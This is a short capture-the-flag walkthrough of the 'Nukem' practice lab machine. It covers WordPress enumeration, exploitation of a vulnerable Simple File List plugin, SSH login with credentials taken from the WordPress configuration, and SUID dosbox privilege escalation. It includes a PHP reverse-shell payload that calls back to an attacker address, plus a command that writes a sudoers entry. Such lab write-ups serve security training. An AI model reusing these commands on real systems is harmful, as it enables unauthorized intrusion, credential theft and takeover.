> For the complete documentation index, see [llms.txt](https://cel1s0.gitbook.io/offsec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cel1s0.gitbook.io/offsec-notes/walkthroughs/pg-practice/linux/get-to-work/nukem.md).

# Nukem

### Enumeration

```
80/tcp    open  http        Apache httpd 2.4.46 ((Unix) PHP/7.4.10)
|_http-generator: WordPress 5.5.1
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.46 (Unix) PHP/7.4.10
|_http-title: Retro Gamming – Just another WordPress site
```

```
wpscan --url http://192.168.210.105/ --api-token [REDACTED]
...
[i] Plugin(s) Identified:

[+] simple-file-list
...
 | Version: 4.2.2 (100% confidence)
 | [!] Title: Simple File List < 4.2.3 - Unauthenticated Arbitrary File Upload RCE
...
...
```

```
$ searchsploit WordPress Simple File List
WordPress Plugin Simple File List 4.2.2 - Arbitra | php/webapps/48979.py
$ cp /usr/share/exploitdb/exploits/php/webapps/48979.py .
```

### Initial Access

We need to edit 36th line of 48979.py as follows(be careful with indentation)

```
payload = '<?php passthru("bash -i >& /dev/tcp/192.168.49.210/80 0>&1"); ?>'
```

```
/** MySQL database username */
define( 'DB_USER', 'commander' );

/** MySQL database password */
define( 'DB_PASSWORD', '[REDACTED]' );
```

```
$ ssh commander@192.168.210.105
commander: [REDACTED]
```

### PrivEsc

dosbox has SUID bit.

```
$ dosbox -c 'mount c /etc' -c 'echo commander ALL=(ALL) ALL >> C:\sudoers' -c exit
```